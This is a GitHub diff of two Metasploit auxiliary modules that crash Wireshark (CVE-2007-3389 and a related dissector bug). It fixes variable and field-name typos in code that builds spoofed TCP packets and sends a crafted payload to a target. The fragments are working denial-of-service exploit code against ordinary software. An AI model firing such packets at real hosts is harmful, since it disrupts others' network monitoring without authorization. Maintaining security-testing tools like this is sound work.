File tree Expand file tree Collapse file tree 2 files changed +8
-8
lines changed
modules/auxiliary/dos/wireshark Expand file tree Collapse file tree 2 files changed +8
-8
lines changed Original file line number Diff line number Diff line change @@ -17,13 +17,13 @@ def initialize(info = {})
17
17
Wireshark crash when dissecting an HTTP chunked response.
18
18
Versions affected: 0.99.5 (Bug 1394)
19
19
} ,
20
- 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ] ,
20
+ 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ] ,
21
21
'License' => MSF_LICENSE ,
22
22
'References' =>
23
23
[
24
- [ 'CVE' , '2007-3389' ] ,
25
- [ 'OSVDB' , '37643' ] ,
26
- [ 'URL' , 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394' ] ,
24
+ [ 'CVE' , '2007-3389' ] ,
25
+ [ 'OSVDB' , '37643' ] ,
26
+ [ 'URL' , 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=1394' ] ,
27
27
] ,
28
28
'DisclosureDate' => 'Feb 22 2007' ) )
29
29
@@ -42,13 +42,13 @@ def run
42
42
43
43
p = PacketFu ::TCPPacket . new
44
44
p . ip_saddr = datastore [ 'SHOST' ] || Rex ::Socket . source_address ( rhost )
45
- p . ip_daddr = dhost
45
+ p . ip_daddr = rhost
46
46
p . tcp_dport = rand ( 65535 ) +1
47
- n . tcp_ack = rand ( 0x100000000 )
47
+ p . tcp_ack = rand ( 0x100000000 )
48
48
p . tcp_flags . psh = 1
49
49
p . tcp_flags . ack = 1
50
50
p . tcp_sport = datastore [ 'SPORT' ] . to_i
51
- p . tcp_window = 3072
51
+ p . tcp_win = 3072
52
52
53
53
# The following hex blob contains an HTTP response with a chunked-encoding
54
54
# length of 0. The ASCII version is below in a block comment.
Original file line number Diff line number Diff line change @@ -49,7 +49,7 @@ def run
49
49
p . tcp_flags . syn = 1
50
50
p . tcp_flags . ack = 1
51
51
p . tcp_dport = datastore [ 'RPORT' ] . to_i
52
- p . tcp_window = 3072
52
+ p . tcp_win = 3072
53
53
p . payload = "0O\002 \002 ;\242 cI\004 \r dc=#{ m } ,dc=#{ m } \n \001 \002 \n \001 \000 \002 \001 \000 \002 \001 \000 \001 \001 \000 \241 '\243 \016 "
54
54
p . recalc
55
55
capture_sendto ( p , rhost )
You can’t perform that action at this time.
0 commit comments